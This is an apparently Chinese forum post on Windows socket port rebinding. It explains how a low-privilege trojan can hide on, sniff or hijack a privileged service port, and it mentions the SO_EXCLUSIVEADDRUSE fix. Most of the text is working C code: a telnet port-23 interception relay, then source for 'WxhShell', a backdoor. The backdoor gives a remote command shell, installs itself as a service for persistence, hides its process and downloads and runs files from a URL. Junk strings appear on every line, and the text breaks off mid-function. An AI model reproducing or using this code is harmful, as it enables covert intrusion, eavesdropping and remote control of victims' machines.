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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8&"(WuZ@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  t4Z  
UkCnqNvx  
  saddr.sin_family = AF_INET; h?\2 _s  
o  A* G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #0b&^QL  
&$`hQgi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O$`UCq  
2W M\e lnA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iV.p5FD  
(UNtRz'=;  
  这意味着什么?意味着可以进行如下的攻击: xa( m5P  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j*T]HaM  
O\;=V`z-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e2$]g>  
jn9 ShF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f7}"lG]q  
TY;U2.Ud  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ydWtvFuS  
[_y@M ]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ( g :p5Rl  
BX;5wKfA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xSpC'"   
bm&87  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xFp<7p L  
b`cYpcs  
  #include J."{<&  
  #include p}]q d4j  
  #include Tc ZnmN  
  #include    }F`beoMAkM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZofHi c  
  int main() Pn TZ/|  
  { 0rMqWP  
  WORD wVersionRequested; %|3e.1oX  
  DWORD ret; HOYq?40.R  
  WSADATA wsaData; w`yx=i#  
  BOOL val; <D/al9  
  SOCKADDR_IN saddr; ]S8LY.Az5  
  SOCKADDR_IN scaddr; yYAnwf  
  int err; vW.%[]  
  SOCKET s; _=`x])mM  
  SOCKET sc; 1czG55 |  
  int caddsize;  :q2YBa  
  HANDLE mt; &R]pw`mTH  
  DWORD tid;   ='/Z;3jt]x  
  wVersionRequested = MAKEWORD( 2, 2 ); y{rn-?`{  
  err = WSAStartup( wVersionRequested, &wsaData ); MUof=EJg>u  
  if ( err != 0 ) { jOv"<  
  printf("error!WSAStartup failed!\n"); q&M:17+:Q  
  return -1; <GWR7rUH  
  } lC9S\s  
  saddr.sin_family = AF_INET; ^E@@YV  
   +BB0wY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .K9l*-e[=  
[%.18FWI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n!.2aq  
  saddr.sin_port = htons(23); >_Uj?F:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OAok  
  { ' Js?N  
  printf("error!socket failed!\n"); me./o(!?  
  return -1; J~J@ ]5/  
  } $v&C@l \  
  val = TRUE; AUAI3K?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &tBA^igXK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7z<Cu<  
  { S[U/qO)m  
  printf("error!setsockopt failed!\n"); UD*+"~  
  return -1; }'`xu9<  
  } <ZrFOb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i| xt f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 * -z4<LAa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;5M<j3_*  
Iq,v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vXubY@k2  
  { [2H[5<tH  
  ret=GetLastError(); v |ifI  
  printf("error!bind failed!\n"); F!R2_89iy  
  return -1; jM\ %$_/  
  } 6K// 1U$  
  listen(s,2); Qu}N:P9l?X  
  while(1) 7:kCb[ji"  
  { c(:Oyba  
  caddsize = sizeof(scaddr); (fd[P|G_]  
  //接受连接请求 Cgo XZX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E!dp~RwZu  
  if(sc!=INVALID_SOCKET) ^N{X "  
  { O9;dd yx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &E]"c]i+  
  if(mt==NULL) 82 .HH5Z{  
  { ]Da4.s*mW  
  printf("Thread Creat Failed!\n"); bZXlJa`'S  
  break; Fva]*5  
  } }#|2z}!  
  } 0lf"w@/  
  CloseHandle(mt); ]gHLcr3  
  } `OLB';D  
  closesocket(s); rT<1S?jR  
  WSACleanup(); n531rkK-   
  return 0; 'F<Sf:?.p  
  }   lux9o$ %  
  DWORD WINAPI ClientThread(LPVOID lpParam) [[$Mh_MD  
  { _;V YFs  
  SOCKET ss = (SOCKET)lpParam; ]eD[4Y\#t  
  SOCKET sc; Y}ky/?q  
  unsigned char buf[4096]; d>~`j8,B  
  SOCKADDR_IN saddr; v'$ykZ!Z  
  long num; iI}nW  
  DWORD val; (Y>U6  
  DWORD ret; 0pCDE s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rSbQ}O4V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eoJFh  
  saddr.sin_family = AF_INET; | 4%v"U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Upu%.[7  
  saddr.sin_port = htons(23); {YfYIt=.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ![j(o!6&  
  { nT)~w s  
  printf("error!socket failed!\n"); 8db6(Q~P  
  return -1; 7V |"~%  
  } sbpu qOL  
  val = 100; %"{?[!C ?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KM EXT$p  
  { J ( =4  
  ret = GetLastError(); _5Bu [I  
  return -1; % ghJ*iHR  
  } [10$a(g\x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 40rZ~!}  
  { W0+u)gDDz  
  ret = GetLastError(); p~ mN2x]  
  return -1; t<8z08  
  } Cnk#Ioz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eO~eu]r  
  { t% <pbZO  
  printf("error!socket connect failed!\n"); xMLrLXy  
  closesocket(sc); }`?7\\6  
  closesocket(ss); `AB~YX%(  
  return -1; 3@%BA(M  
  } g521Wdtnn  
  while(1) uF.Q ",<  
  { @^B S#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3{6ps : w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4,o %e,z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?]759,Q3L  
  num = recv(ss,buf,4096,0); q|?`Gsr  
  if(num>0) !^n1  
  send(sc,buf,num,0); tuX =o  
  else if(num==0) 5+o 2 T]  
  break; S5zpUF=  
  num = recv(sc,buf,4096,0);  >cC Gx  
  if(num>0) >|y>e{P  
  send(ss,buf,num,0); v#{G8'+%  
  else if(num==0) y^5T/M  
  break; |k/`WC6As.  
  } \H},ou U  
  closesocket(ss); }(8D!XgWa  
  closesocket(sc); U&tfl/  
  return 0 ; #JHy[!4  
  } {ILp[ &sL  
FF5tPHB  
ZJiuj!  
========================================================== *C[4 (DmB  
ahK?]:&QO  
下边附上一个代码,,WXhSHELL ,AGM?&A  
U^vUdM"  
========================================================== 4f_ZY5=  
H8(0. IR  
#include "stdafx.h" dm/-}  
* ePDc'   
#include <stdio.h> @]?? +f}#  
#include <string.h> [a#?}((  
#include <windows.h> jV(xYA3  
#include <winsock2.h> # CP9^R S  
#include <winsvc.h> v Ie=wf~D`  
#include <urlmon.h> IN]`lJ  
 60Xl.  
#pragma comment (lib, "Ws2_32.lib") dXf]G6  
#pragma comment (lib, "urlmon.lib") D;1 6}D  
4eDmLC"Y *  
#define MAX_USER   100 // 最大客户端连接数 e _SoM!;  
#define BUF_SOCK   200 // sock buffer yBXkN&1=%;  
#define KEY_BUFF   255 // 输入 buffer wsdB; 6%$  
MbT ONt?~v  
#define REBOOT     0   // 重启 \FY/eQ*07  
#define SHUTDOWN   1   // 关机 s K""  
wI1M0@}PV  
#define DEF_PORT   5000 // 监听端口 d=xI   
5p#o1I  
#define REG_LEN     16   // 注册表键长度 t wa(M?  
#define SVC_LEN     80   // NT服务名长度 + Tgy,oD0  
&CxyP_  
// 从dll定义API &k%wOz1vM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )eTnR:=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )sY$\^'WY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n;S0fg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !DY2{Wb  
?vL^:f["  
// wxhshell配置信息 FEm1^X#]  
struct WSCFG { @vQ;>4i.  
  int ws_port;         // 监听端口 P@! Q1pr  
  char ws_passstr[REG_LEN]; // 口令 ^Yf)lV&[  
  int ws_autoins;       // 安装标记, 1=yes 0=no >ji}j~cH  
  char ws_regname[REG_LEN]; // 注册表键名 #V(Hk )  
  char ws_svcname[REG_LEN]; // 服务名 {3F}Slb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g#9*bF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YDZ1@N}^B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7Dx .;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W~+!"^<n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8+g|>{Vov  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '%eaK_+7  
')yF0  
}; h!t2H6eyF  
am$-sh72  
// default Wxhshell configuration 6"rFfdns  
struct WSCFG wscfg={DEF_PORT, Rm[rQ }:  
    "xuhuanlingzhe", %;"B;~  
    1, o}AqNw60v  
    "Wxhshell", zYgK$u^H  
    "Wxhshell", ?Ss RN jeL  
            "WxhShell Service", DY+8m8!4H  
    "Wrsky Windows CmdShell Service", no\}aTx  
    "Please Input Your Password: ", 0F;(_2V-  
  1, /K Jx n6  
  "http://www.wrsky.com/wxhshell.exe", 9{]r+z:  
  "Wxhshell.exe" Y" ]eH{  
    }; s_Ge22BZ  
7]HIE]#  
// 消息定义模块 &|&YRHv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :BZx ) HxQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e&a[k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nF!_q;+Vp  
char *msg_ws_ext="\n\rExit."; zf!\wY"`  
char *msg_ws_end="\n\rQuit."; ;6 &=]I  
char *msg_ws_boot="\n\rReboot..."; hz~CW-47  
char *msg_ws_poff="\n\rShutdown..."; % &Q7;?  
char *msg_ws_down="\n\rSave to "; 2zrWR%B  
kvO`]>#;$?  
char *msg_ws_err="\n\rErr!"; 'm p{O  
char *msg_ws_ok="\n\rOK!"; @*`UOgP7  
nY5n%>8  
char ExeFile[MAX_PATH]; ,aj+mlZd2  
int nUser = 0; 51(`wo>LS  
HANDLE handles[MAX_USER]; !+26a*P  
int OsIsNt; .1?i'8TF  
'>WuukC  
SERVICE_STATUS       serviceStatus; "j@IRuH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R7;rBEt8  
m=y,_Pz>U  
// 函数声明 $v}8lBCr3  
int Install(void); fOjt` ~ToI  
int Uninstall(void); Kd[`mkmS  
int DownloadFile(char *sURL, SOCKET wsh); /dvnQW4}8  
int Boot(int flag); `R=_t]ie  
void HideProc(void); ~aq?Kk  
int GetOsVer(void); R O3e  
int Wxhshell(SOCKET wsl);  IOES3  
void TalkWithClient(void *cs); t:j07 ,1~  
int CmdShell(SOCKET sock); Cq;K,B9  
int StartFromService(void); i^V4N4ux]  
int StartWxhshell(LPSTR lpCmdLine); %m\G'hY2  
wT AEJ{p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A5H8+gATK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wTuRo J  
DBrzw+;e3  
// 数据结构和表定义 @_:?N(%(  
SERVICE_TABLE_ENTRY DispatchTable[] = Sw9mrhzJfe  
{ yD id` ym  
{wscfg.ws_svcname, NTServiceMain}, o6yZ@R  
{NULL, NULL} nsw8[pk  
}; LFM5W&?  
2i'-lM=  
// 自我安装 D'hr\C^  
int Install(void) RuEnr7gi  
{ dE!=a|Pl  
  char svExeFile[MAX_PATH]; ~ilBw:L-3  
  HKEY key; `,]PM) iC  
  strcpy(svExeFile,ExeFile); 0+`*8G)  
Jt^JE{m9%  
// 如果是win9x系统,修改注册表设为自启动 k.f:nv5JO  
if(!OsIsNt) { Ox1QP2t6Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1UWgOCc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @9P9U`ZP  
  RegCloseKey(key); FNRE_83  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iK0J{'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [*E.G~IS`  
  RegCloseKey(key); BQmafpp`  
  return 0; B9Tztg  
    } _; RD-kv  
  } EF{'J8AQ  
} otVdx&%]  
else { T:5%sN;#O  
[4yQbqe;  
// 如果是NT以上系统,安装为系统服务 &=O1Qg=K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fd.d(  
if (schSCManager!=0) WC;a  
{ mK&9p{4#U  
  SC_HANDLE schService = CreateService $6%;mep  
  ( &!fcLJd  
  schSCManager, RLX^'g+P  
  wscfg.ws_svcname, eTHh  
  wscfg.ws_svcdisp, SytDo (_=W  
  SERVICE_ALL_ACCESS, |VF"Cjw?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , md LJ,w?{  
  SERVICE_AUTO_START, UeeV+xU  
  SERVICE_ERROR_NORMAL, 1caod0gor  
  svExeFile, _qNLy/AY  
  NULL, S*@0%|Q4r  
  NULL, Oj\mkg  
  NULL, 5ml}TSMu'  
  NULL, ,1+_k ="Z  
  NULL ="E V@H?U  
  ); nL~ b   
  if (schService!=0) eR;0pWVl  
  { aBLb i  
  CloseServiceHandle(schService); 2 -8:qmP(  
  CloseServiceHandle(schSCManager); |:BYOxAYZ8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bUL9*{>G  
  strcat(svExeFile,wscfg.ws_svcname); nP5fh_/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E.9k%%X]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >xgd<  
  RegCloseKey(key); W}3vY]  
  return 0; uS,$P34^oy  
    } 3f8Z ?[Bb@  
  } uMZf9XUE  
  CloseServiceHandle(schSCManager); Wb xksh:)Q  
} T6#GlO)8)  
} 63$m& ]x  
N Q=YTRU  
return 1; C =U4|h~W  
} !%9I%Ak^  
BT0hx!Ti  
// 自我卸载 7^5BnF@  
int Uninstall(void) Bk <P~-I  
{ X:/t>0e  
  HKEY key; }C}_ I:=C  
D3ad2vH  
if(!OsIsNt) { `;@4f |N9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Y[Ae7e  
  RegDeleteValue(key,wscfg.ws_regname); _r'M^=yx[  
  RegCloseKey(key); 4y.[tk5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rg.if"o  
  RegDeleteValue(key,wscfg.ws_regname); IrC=9%pd$R  
  RegCloseKey(key); n Lb 9$&  
  return 0; Y?cw9uYB  
  } 9f`Pi:*+/  
} w.H+$=aK  
} :DJ@HY  
else { 5;Xrf=  
|&7,g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F eLP!oS>  
if (schSCManager!=0) #J_i 5KmXJ  
{ cK&oC$[r-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZbUf|#GTB  
  if (schService!=0) )/'s& D  
  { |#6Lcz7[  
  if(DeleteService(schService)!=0) { g_U69 z  
  CloseServiceHandle(schService); flqTx)xE  
  CloseServiceHandle(schSCManager); 5>Q)8` @E  
  return 0; pJ[Q.QxU  
  } L8ke*O$  
  CloseServiceHandle(schService); r8rR_ M{P  
  } lDeWs%n  
  CloseServiceHandle(schSCManager); X[<9+Q-&  
} r;z A `  
} "f_Z.6WMY  
C#>C59  
return 1; ^>fs  
} Cx[4 /~_<  
e^yB9b  
// 从指定url下载文件 @V)WJ {  
int DownloadFile(char *sURL, SOCKET wsh) \~PFD%]:3  
{ D 3PF(Wx  
  HRESULT hr; I?QKd@  
char seps[]= "/"; k&b>-QP6  
char *token; h.*|4;  
char *file; a0R]hENC  
char myURL[MAX_PATH]; 4"sP= C  
char myFILE[MAX_PATH]; rAKd f??  
rzu^br9X  
strcpy(myURL,sURL); n[@Ur2&)  
  token=strtok(myURL,seps); :&m(WZ \  
  while(token!=NULL) w8qI7/  
  { q`P:PRgM  
    file=token; kbY@Y,:w  
  token=strtok(NULL,seps); ZAE;$pkP  
  } 5WUrRQ?E  
tz,FK;8  
GetCurrentDirectory(MAX_PATH,myFILE); {Fj`'0Xu;  
strcat(myFILE, "\\"); =u(fP" |{  
strcat(myFILE, file); {8' 5  
  send(wsh,myFILE,strlen(myFILE),0); c\Dv3bF  
send(wsh,"...",3,0); B !XT:.+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /?sV\shy  
  if(hr==S_OK) (I$hw"%&  
return 0; +~-|( y  
else ZU`"^FQ3A  
return 1; +"!IVHY  
b|NEU-oy  
} $)U RY~;i  
Nx99dr  
// 系统电源模块 }^H_|;e1p  
int Boot(int flag) <*[(t;i  
{ c&Dy{B!  
  HANDLE hToken; 9;PtY dJ8  
  TOKEN_PRIVILEGES tkp; jzQgD ed ]  
O'k"6sBb  
  if(OsIsNt) { yxH[uJpb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i |t$sBIh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M<SZ7^9<  
    tkp.PrivilegeCount = 1; .FeEK(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TtzB[F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]?^mb n  
if(flag==REBOOT) { s SDBl~g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R#0UwRjeF  
  return 0; %EuSP0  
} di|l?l^l  
else { FGC[yz1g:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ){v nmJJ%  
  return 0; J&Ah52  
} j9%=^ZoQj  
  } o.,hCg)X  
  else { hGsY u)  
if(flag==REBOOT) { =vR>KE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +7=3[K  
  return 0; j*GYYEY  
} =dPrG=A   
else { um/iK}O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y@F{pr+dA  
  return 0; T!8,R{V]4  
} a$ Z06j  
} L9T|*?||  
?Pa5skqR  
return 1; 4g|}]K1s  
} bYiaJ  
*t63c.S  
// win9x进程隐藏模块 s q_ f[!  
void HideProc(void) J=  T!  
{ )<%GHDWL  
BRzrtK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6:H@= fEv  
  if ( hKernel != NULL ) XLB7 E  
  { {D$+~ lO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W 5-=,t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @I9A"4Im  
    FreeLibrary(hKernel); MFRM M%`  
  } y6f YNB  
WOh?/F[@u  
return; -GH>12YP  
} `2G 0B@  
04o(05K  
// 获取操作系统版本 !IcP O  
int GetOsVer(void) T< D&%)  
{ W;Ct[Y 8m  
  OSVERSIONINFO winfo; Nzf tc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &=~Jw5WK  
  GetVersionEx(&winfo); ?|kwYA$4o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fC&hi6  
  return 1; wZ0RI{)s'  
  else bZLY#g7L"  
  return 0; 0tK(:9S  
} m9 1Gc?c  
;ry~x:7L7  
// 客户端句柄模块 +87|gC7B  
int Wxhshell(SOCKET wsl) /V0[Urc@  
{ p C^d-Ii  
  SOCKET wsh; ;0FfP  
  struct sockaddr_in client; .kcyw>T`I  
  DWORD myID; }Y:V&4DW  
#A\@)wJ  
  while(nUser<MAX_USER) \,D>zF  
{ xPCRT*Pd  
  int nSize=sizeof(client); DHQS7%)f`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tnE),  
  if(wsh==INVALID_SOCKET) return 1; |0OY> 5  
TophV}@B`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -!q^/ux  
if(handles[nUser]==0) @ Z.BYC  
  closesocket(wsh); 52ExRG S  
else *+(rQ";x  
  nUser++; |yS  %  
  } 8wV`mdKN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wz%H?m:g#  
A*G ~#v^  
  return 0; "%lIB{  
} qA0PGo  
dIW@L  
// 关闭 socket 9HB+4q[  
void CloseIt(SOCKET wsh) .+A)^A  
{ Jr5dw=B gw  
closesocket(wsh); ~[%_]/#&%z  
nUser--; I3HO><o f  
ExitThread(0); @Bds0t  
} /yHjd s  
4_kY^"*#"  
// 客户端请求句柄 =^1jVaAL  
void TalkWithClient(void *cs) [Do^EJ  
{  & .0A%  
?Z2`8]-E  
  SOCKET wsh=(SOCKET)cs; 63'm @oZ  
  char pwd[SVC_LEN]; ~UJ.A<>Fh  
  char cmd[KEY_BUFF]; URceq2_  
char chr[1]; n]df)a  
int i,j; >"8;8Ev  
^s6}[LDW>@  
  while (nUser < MAX_USER) {  9u^M{6  
qg{gCG  
if(wscfg.ws_passstr) { "\i H/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K[kK8i+(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D(l,Z  
  //ZeroMemory(pwd,KEY_BUFF); 3_<l`6^Ns/  
      i=0; r1}^\C  
  while(i<SVC_LEN) { n&Ckfo_D  
2TU V9Z  
  // 设置超时 D6A u)1y=&  
  fd_set FdRead; Vm|KL3}NRv  
  struct timeval TimeOut; [3"F$?e5  
  FD_ZERO(&FdRead); 4j~q,# $LW  
  FD_SET(wsh,&FdRead); :h5G|^  
  TimeOut.tv_sec=8; yI1 :L -  
  TimeOut.tv_usec=0; Kf1J;*i|\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j*@@H6G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ym 1vq=  
K(i}?9WD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P&sWn?q Ol  
  pwd=chr[0]; (IBT|K  
  if(chr[0]==0xd || chr[0]==0xa) { g:z<CSIq/  
  pwd=0; kL%ot<rt)w  
  break; a;t}'GQGk  
  } xRe`Duy:  
  i++; W?5')  
    } n9xP8<w8  
=nHKTB>  
  // 如果是非法用户,关闭 socket h <e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hl`OT5 pNf  
} JcWp14~e  
qS#G7~ur>y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uR ?W|a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d #1Y^3n  
Q]YB.n3   
while(1) { =..Bh8P71!  
3Do0?~n  
  ZeroMemory(cmd,KEY_BUFF); y6nP=g|')>  
B W<Dmn  
      // 自动支持客户端 telnet标准   >E>yA d  
  j=0; xIGq+yd(  
  while(j<KEY_BUFF) { ?qNU*d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z1eT> 6|]r  
  cmd[j]=chr[0]; oT-gZedW(  
  if(chr[0]==0xa || chr[0]==0xd) { -B;#pTG  
  cmd[j]=0; g}s$s}  
  break; {4D`VfX_  
  } m+0yf(w  
  j++; uZC=]Ieh  
    } j(=w4Sd_W  
&eHRn_st5b  
  // 下载文件 KLyRb0V  
  if(strstr(cmd,"http://")) { Q#\Nhc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); --WQr]U/  
  if(DownloadFile(cmd,wsh)) iApq!u,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4rU/2}. q  
  else xU.1GI%UPu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w}ji]V}  
  } Wef%f] u  
  else { B&]`OO>O  
Y;/@[AwF  
    switch(cmd[0]) { yp#!$+a}  
  L,}'ST  
  // 帮助 $-}&RW9  
  case '?': { 1,-C*T}nR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  >Uw:cq  
    break; &DLWlMGq  
  } 7*l$ i/!  
  // 安装 7?*+,Fo#  
  case 'i': { GC')50T J  
    if(Install()) fpR|+`k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GbSCk}>  
    else (BEe^]f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JOJ.79CT  
    break; }u_D{bz  
    } w"j>^#8  
  // 卸载 Anz{u$0M[  
  case 'r': { d4| )=  
    if(Uninstall()) Tn&_ >R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y b hFDx  
    else !"N,w9MbD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hY`<J]-'`  
    break; M~A# _%2U  
    } NM{)liP ;8  
  // 显示 wxhshell 所在路径 }9^:(ty2A  
  case 'p': { \u,CixV=  
    char svExeFile[MAX_PATH]; t%:7W[_s  
    strcpy(svExeFile,"\n\r"); 76l. {TXF  
      strcat(svExeFile,ExeFile); 1#vu)a1+b  
        send(wsh,svExeFile,strlen(svExeFile),0); Rw?w7?I  
    break; 2P"643tz  
    } 1dN/H)]  
  // 重启 Ok!P~2J  
  case 'b': { 9<gW~ s>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =t,oj6P~  
    if(Boot(REBOOT)) 2j-l<!s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,;pUBrz/[  
    else { @NM0ILE  
    closesocket(wsh); RN`TUCQL  
    ExitThread(0); Ue}1(2.v  
    } hk?i0#7W  
    break; Q`k;E}x_-  
    } 5gf ~/Zr  
  // 关机 YuhfPa  
  case 'd': { T\gs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =F \Xt "  
    if(Boot(SHUTDOWN)) uuM1_nD[  
